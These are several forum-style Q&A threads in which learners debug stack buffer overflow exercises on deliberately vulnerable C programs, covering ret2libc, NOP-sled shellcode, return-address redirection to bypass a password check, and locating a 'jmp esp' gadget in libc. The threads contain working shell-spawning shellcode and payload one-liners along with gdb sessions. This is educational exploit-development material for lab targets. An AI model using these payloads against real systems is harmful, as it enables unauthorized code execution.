I'm doing this buffer overflow exercise and I can't seem to get it to work...
Under the Calling Arguments section of the article he exploits this program to use the variable not_used instead of /bin/date:
char* not_used = "/bin/sh";
void not_called() {
printf("Not quite a shell...\n");
system("/bin/date");
}
void vulnerable_function(char* string) {
char buffer[100];
strcpy(buffer, string);
}
int main(int argc, char** argv) {
vulnerable_function(argv[1]);
return 0;
}
He does this by getting not_used and the system#plt memory addresses, then replacing the stack with them:
| 0x8048580 <not_used> |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system> |
| 0x42424242 <fake old %ebp> |
| 0x41414141 ... |
| ... (0x6c bytes of 'A's) |
| ... 0x41414141 |
However, when I tried to do this, I just get a Segmentation Fault:
frinto#kali:~/Documents/theclang/programs/rop/argrop$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x122e
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/rop/argrop/a.out
Breakpoint 1, 0x5655622e in main ()
(gdb) print 'system#plt'
$1 = {<text variable, no debug info>} 0x56556050 <system#plt>
(gdb) x/s (int)not_used
0x56557008: "/bin/sh"
(gdb)
Then I built my payload and ran it:
frinto#kali:~/Documents/theclang/programs/rop/argrop$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x50\x60\x55\x56" + "CCCC" + "\x08\x70\x55\x56"')"
Segmentation fault
What could the issue be here? Thanks in advance for any help!
P.S. Memory randomization is disabled
If NX and ASLR is disabled, just do ret2libc, don't direct it to function not_called()
I found the string address of the not_used variable using IDA Pro :
String /bin/sh address = 0x08048530
system() address = 0xb7e36da0
Fake address = JUNK
Exploit :
`python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xa0\x6d\xe3\xb7"+"JUNK"+"\x30\x85\x04\x08"'`
PoC :
% ./vulnerable `python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xa0\x6d\xe3\xb7"+"JUNK"+"\x30\x85\x04\x08"'`
$
Related
(I know, Too many answers already, but need help)
As far as I know a buffer overflow can be protected by either ASLR, memory canaries, or non-executable stack. so for my testing purpose, I disabled ASLR with following sysctl -w kernel.randomize_va_space=0, disabled program canaries with following -fno-stack-protector and made the stack executable with following -z execstack.
Now to confirm these I did:
ASLR
root#kali:/tmp# cat /proc/sys/kernel/randomize_va_space
0
Executable stack: readelf -l vuln2
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
Other info that might help:
root#kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped
CPU architecture is little endian:
root#kali:/tmp# lscpu | grep 'Byte Order'
Byte Order: Little Endian
program:
#include <stdio.h>
int main(int argc, char *argv[]){
char buf[512];
strcpy(buf, argv[1]);
return 0;
}
Compilation:
gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack
Shellcode: is 25 bytes
\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05
does the shellcode work though? Yes, yes it does, compiling this spawn a shell:
#include <sys/mman.h>
#include <stdint.h>
char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";
int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
(*(void(*)()) code)();
return 0;
}
How do I exploit it?
well I need 526 bytes to overwrite RIP:
(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141
Stack start address: 0x7fffffffdd70
(gdb) x/100x $rsp
0x7fffffffdd60: 0xffffe058 0x00007fff 0xf7fd3298 0x00000002
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141
RBP Address:
(gdb) x/x $rbp
0x7fffffffdf70: 0x41414141
now in order to exploit the stack we minus 6 from 526 which will be replaced with return address and minus 25 which is the shellcode, so totall 526-6-25=495
Final Exploit:
(gdb) r $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
Program received signal SIGILL, Illegal instruction.
0x00007fffffffdf73 in ?? ()
Is there any mistake that I am making?
1)I have same issue. It's happening when return address on the stack is
modifying by shellcode and the address replaced does not belong to valid
addresses.
After you get this error, type x/400xw $rsp , choose valid address and correct
padding, from stack.
You're welcome.
0x00007fffffffdf73 cannot be a valid address because you are in 64 bits mode
and this address isn't 8 bytes aligned.
no word starts from this address.
For example,
0x7fffffffdf70: 0x41414141 0x41414141 0x41414141 0x41414141
If you try to access to 0x7fffffffdf73 , you retrieve a first word (from left) and 3-nth byte from right
(because little endian, MSB is on the right) .
So, you have to choose an address like 0x7fffffffdf70 or 0x7fffffffdf74 or
0x7fffffffdf78 etc... (last digit of address multiple of 4)
I try to use a buffer overflow on the stack to
redirect the return address. My goal is to overwrite the return address within the "check_auth" function, that the main continues at line 22 ("printf("GRANTED\n");"). Here is the C code:
fugi#calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow
fugi#calc:~/Desktop$ gdb auth_overflow -q
Reading symbols from auth_overflow...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_auth(char *pass){
6 char pass_buff[16];
7 int auth_flag = 0;
8 strcpy(pass_buff, pass);
9
10 if(strcmp(pass_buff, "yes") == 0)
(gdb)
11 auth_flag = 1;
12 return auth_flag;
13 }
14
15 int main( int argc, char *argv[]){
16 if(argc < 2){
17 printf("Usage: %s <password>\n\n", argv[0]);
18 exit(0);
19 }
20 if(check_auth(argv[1])){
(gdb)
21 printf("ACCESS\n");
22 printf("GRANTED\n");
23 }
24 else{
25 printf("\n Access Denied\n");
26 }
27 return 0;
28 }
I am using gdb on a 64bit Debian system, to debug the code.
My problem is, the overwriting doesn't work outside of gdb.
I know, that the return address in which points back to main and the the beginning of the input variable(pass_buff) are 40 bytes appart.
(gdb) i f
Stack level 0, frame at 0x7fffffffe170:
rip = 0x55555555477d in check_auth (auth_overflow.c:8); saved rip = 0x555555554800
called by frame at 0x7fffffffe190
source language c.
Arglist at 0x7fffffffe160, args: pass=0x7fffffffe562 'A' <repeats 56 times>
Locals at 0x7fffffffe160, Previous frame's sp is 0x7fffffffe170
Saved registers:
rbp at 0x7fffffffe160, rip at 0x7fffffffe168
(gdb) x/x *0x7fffffffe168
0x55554800: Cannot access memory at address 0x55554800
(gdb) x/x pass_buff
0x7fffffffe140: 0x00000001
(gdb) p 0x7fffffffe168 - 0x7fffffffe140
$1 = 40
So, when I do this:
(gdb) run `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Starting program: /home/fugi/Desktop/auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
GRANTED
Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>,
argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at auth_overflow.c:28
28 }
But when I do it without gdb it doesn't work:
fugi#calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Segmentation fault
What can I do to make this work?
I also tried to do this by repeating the address, but the problem here is, that I can't print null bytes:
(gdb) x/12xg $rsp
0x7fffffffe130: 0x00007fffffffe156 0x00007fffffffe56c
0x7fffffffe140: 0x4141414141414141 0x4141414141414141
0x7fffffffe150: 0x4141414141414141 0x4141414141414141
0x7fffffffe160: 0x4141414141414141 **0x0000555555554810**
0x7fffffffe170: 0x00007fffffffe268 0x0000000200000000
0x7fffffffe180: 0x0000555555554840 0x00007ffff7a57561
to make the address fit I need to add \x00\x00 but then I get:
fugi#calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55\x00\x00")'`
**bash: warning: command substitution: ignored null byte in input**
Segmentation fault
Is there a way to repeat the address like this?
Thanks for you help in advance
I don't know about exact build settings in your development environment, but I can guess some problems.
on current Linux environment, PIE (Position-Independent-Executive) is enabled. which means, your target address is not always 0x0000555555554810. to check that, add this code to main function :
printf("CODE: %p\n", (void*)main);
if this code generates same address every times, then PIE is disabled.
argv argument cannot include NULL byte (except end of string). but this is not a critical problem because on x86-64 system they uses only 6 low bytes for virtual address.
to disable PIE build : use -no-pie. gcc main.c -o main -no-pie
If you're asking how to return check_auth(), I'd do this:
int main( int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s <password>\n\n", argv[0]);
exit(0);
}
int flag = check_auth(argv[1]);
if(flag){
printf("ACCESS\n");
printf("GRANTED\n");
}else{
printf("\n Access Denied\n");
}
return flag;
}
My main language is Java, actually, so if I'm wrong, please correct me. I'm trying to learn C as we speak.
I am learning about buffer overrun with this source code:
#include <stdio.h>
int main()
{
char buf[16];
gets(buf);
printf("buf # %8p\n", (void*)&buf);
return 0;
}
I try to write Null character ('\0') to buf variable.
First, in gdb, I set the breakpoint at line 6, after the gets() function and run it with r <<< $(python -c 'print "\0"*11 + "AAAA"')
When I explore the stack, I realize it only write "AAAA" to buf. What happens?
(gdb) x/16xw &buf
0xffffcf80: 0x41414141 0xffffd000 0xffffd04c 0x080484a1
0xffffcf90: 0xf7fb43dc 0xffffcfb0 0x00000000 0xf7e1a637
0xffffcfa0: 0xf7fb4000 0xf7fb4000 0x00000000 0xf7e1a637
0xffffcfb0: 0x00000001 0xffffd044 0xffffd04c 0x00000000
But, when I run the program with r <<< $(python -c 'print "\1"*11 + "AAAA"'), the buf will be:
(gdb) x/16xw &buf
0xffffcf80: 0x01010101 0x01010101 0x41010101 0x00414141
0xffffcf90: 0xf7fb43dc 0xffffcfb0 0x00000000 0xf7e1a637
0xffffcfa0: 0xf7fb4000 0xf7fb4000 0x00000000 0xf7e1a637
0xffffcfb0: 0x00000001 0xffffd044 0xffffd04c 0x00000000
So the gets() function will not receive the Null character or the stdin will ignore it ?
P/S: I built it with gcc -m32 -fno-stack-protector -g stack.c -o stack on gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609.
Update: After some suggestions, I try this:
#include <stdio.h>
int main()
{
char buf[16];
gets(buf);
printf("buf # %8p\n", (void*)&buf);
for (int i = 0; i < 16; ++i) // this is for loop all the buf
{
printf("%02x ", buf[i]);
}
return 0;
}
It works with '\0'
$ gcc -g j_stack.c -o j_stack
$ python -c 'print "AAAA" + "\0"*6 + "AAAA"'| ./j_stack
buf # 0xffffcfbc
41 41 41 41 00 00 00 00 00 00 41 41 41 41 00 ffffffff
But how do I provide input which contains '\0' to buf in gdb program
No, it doesn't.
This behaviour has nothing to do with gets(), or with Python strings; it's due to the way you're providing input to your program, using a subshell and the Bash "herestring" syntax (which performs some manipulations on whatever you give it, apparently including dropping null bytes):
# python -c 'print "\0"*11 + "AAAA"' | wc -c
16
# python -c 'print "\0"*11 + "AAAA"' | hexdump
0000000 0000 0000 0000 0000 0000 4100 4141 0a41
0000010
# cat <<< $(python -c 'print "\0"*11 + "AAAA"') | wc -c
5
# hexdump <<< $(python -c 'print "\0"*11 + "AAAA"')
0000000 4141 4141 000a
0000005
# echo $(python -c 'print "\0"*11 + "AAAA"') | wc -c
5
If you run your program with a simple pipe, you should see the results you expect:
python -c 'print "\0"*11 + "AAAA"' | ./myProgram
No, gets does not ignore '\0'.
I changed your program to include
for(i = 0; i < 16; i++) printf("%02x", buf[i]);
printf("\n");
after calling gets. I ran the program on the input
abc\n
and saw
61626300000000000000000000000000
as I expected. I then ran the program on the input
ab\0c\n
and saw
61620063000000000000000000000000
which was also what I expected.
P.S. I'm not sure why you saw the behavior you did, but I confess I'm not sure what you're doing with <<< and those python fragments. Me, I used
echo abc | a.out
and
echo 616200630a | unhex | a.out
where unhex is a little program I have in my bin directory for, well, doing the obvious.
I am learning how to exploit a buffer overflow. Below is the program I am playing with
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[256];
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
I compile this program with: gcc -fno-stack-protector -z execstack program.c -o program
I loaded this program in gdb: gdb ./program
If I issue following command: run $(python -c 'print "A" * 3000') It will overwrite the registers as desired:
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffd938 0x7fffffffd938
r8 0x4141414141414141 0x4141414141414141
r9 0x4141414141414141 0x4141414141414141
r10 0x4141414141414141 0x4141414141414141
.....
But if I give arguments to the program using IO redirection registers' values are not overwritten as desired.
fuzz.py
#!/usr/bin/python
print 'A' * 3000
I output all 'A's to file f using fuzz.py > f
I run the program in gdb gdb ./program
Now If I give a argument to program using IO redirection I get abnormal output:
run < f
I get the following error:
Stopped reason: SIGSEGV
__strcpy_sse2_unaligned ()
at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:296
296 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.
Why I am getting this error __strcpy_sse2_unaligned while if I pass arguments using run $(python -c 'print "A" * 3000') I will only get SIGSEGV error which I desired.
info registers:
rbp 0x7fffffffe4f0 0x7fffffffe4f0
rsp 0x7fffffffe3d8 0x7fffffffe3d8
r8 0x0 0x0
r9 0xf 0xf
r10 0x5d 0x5d
Why are the registers not overwritten by 'A's?
Q1)
Why are passing arguments in gdb using:
run $(python -c 'print "A" * 3000')
and
run < f
not equal? f is the file which contains 3000 'A's.
Q2)
What is the meaning of this error: __strcpy_sse2_unaligned ()
You are taking input from command line arguments, not the standard input:
strcpy(buffer, argv[1]);
So you should use:
run $(python -c 'print "A" * 3000')
The < redirection would work if you're reading from stdin, for example with scanf.
The __strcpy_sse2_unaligned SIGSEGV is caused by you trying to strcpy from uninitialized memory (argv[1], which is actually NULL since it's argv[argc] in your case). GDB then tries to find the source for that internal function, but fails.
I am trying a buffer overflow on the following program:
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]){
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
I used this payload to try overflowing the buffer,
./orc `perl -e 'print"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'``perl -e 'print "\x90"x9, **"\xac\xfa\xff\xbf"'`**
However, it seems to be not working and only gives me this result.
j
X?Rh//shh/bin??S?訴???????????
Yes, it's almost my first time trying a BOf, and I feel like that the ret adress which is at the end of the payload(bold) seems inaccurate. So, how do you get the ret adress to put at the end of the shellcode? And what does it do?
Thanks in advance :)
I couldn't tell you if your return code is correct or not as I don't know where you're planning on returning.
Compiling this code with "-fno-stack-protector -z execstack" and address ASLR disabled (echo 0 > /proc/sys/kernel/randomize_va_space) my buffer looks like the following:
# ./orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')
Running it up in gdb (gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')) and dumping esp (x/100x $esp) shows that it points to the area of the buffer directly after the return address so if you could find a RET %ESP instruction somewhere in memory, having your return address point to it would drop you directly back to your buffer.
To find a suitable return address, you can do the following (again assuming that ASLR has been disabled):
Find the address of the linked libraries - on my box this shows:
# ldd orc
linux-gate.so.1 => (0xb7fff000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e80000)
/lib/ld-linux.so.2 (0x80000000)
Search the address provided for libc (0xb7e80000) for the RET %ESP instruction from within gdb using "find /b [start-search-address], [end-search-address], [stuff-to-search-for]".
# gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')
gdb$ b main
Breakpoint 1 at 0x8048555: file orc.c, line 12
gdb$ r
Breakpoint 1, main (argc=0x2, argv=0xbffff4e4) at orc.c:12
12 if (argc < 2)
gdb$ find /b 0xb7e80000, 0xb7fff000, 0xff, 0xe4
0xb7f88a0f
0xb7f96b73
0xb7f96bf3
...
0xb7f96df3
0xb7f975f3
0xb7f97673
Pick one for the return address - I selected the first one '0xb7f88a0f' which is plumbed into the buffer as '\x0f\x8a\xf8\xb7'.
This should drop you on your buffer which you can verify once again by placing a bunch of breakpoints ('\xCC') in after the return address and running the program in gdb as shown above. Execution should break on the address immediately following your return address. Verify with:
gdb$ x/8x $eip-4
0xbffff43c: 0xb7f88a0f 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff44c: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
You should see your return address at EIP - 4 bytes and the final buffer should look like this (no need for the nops):
$(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')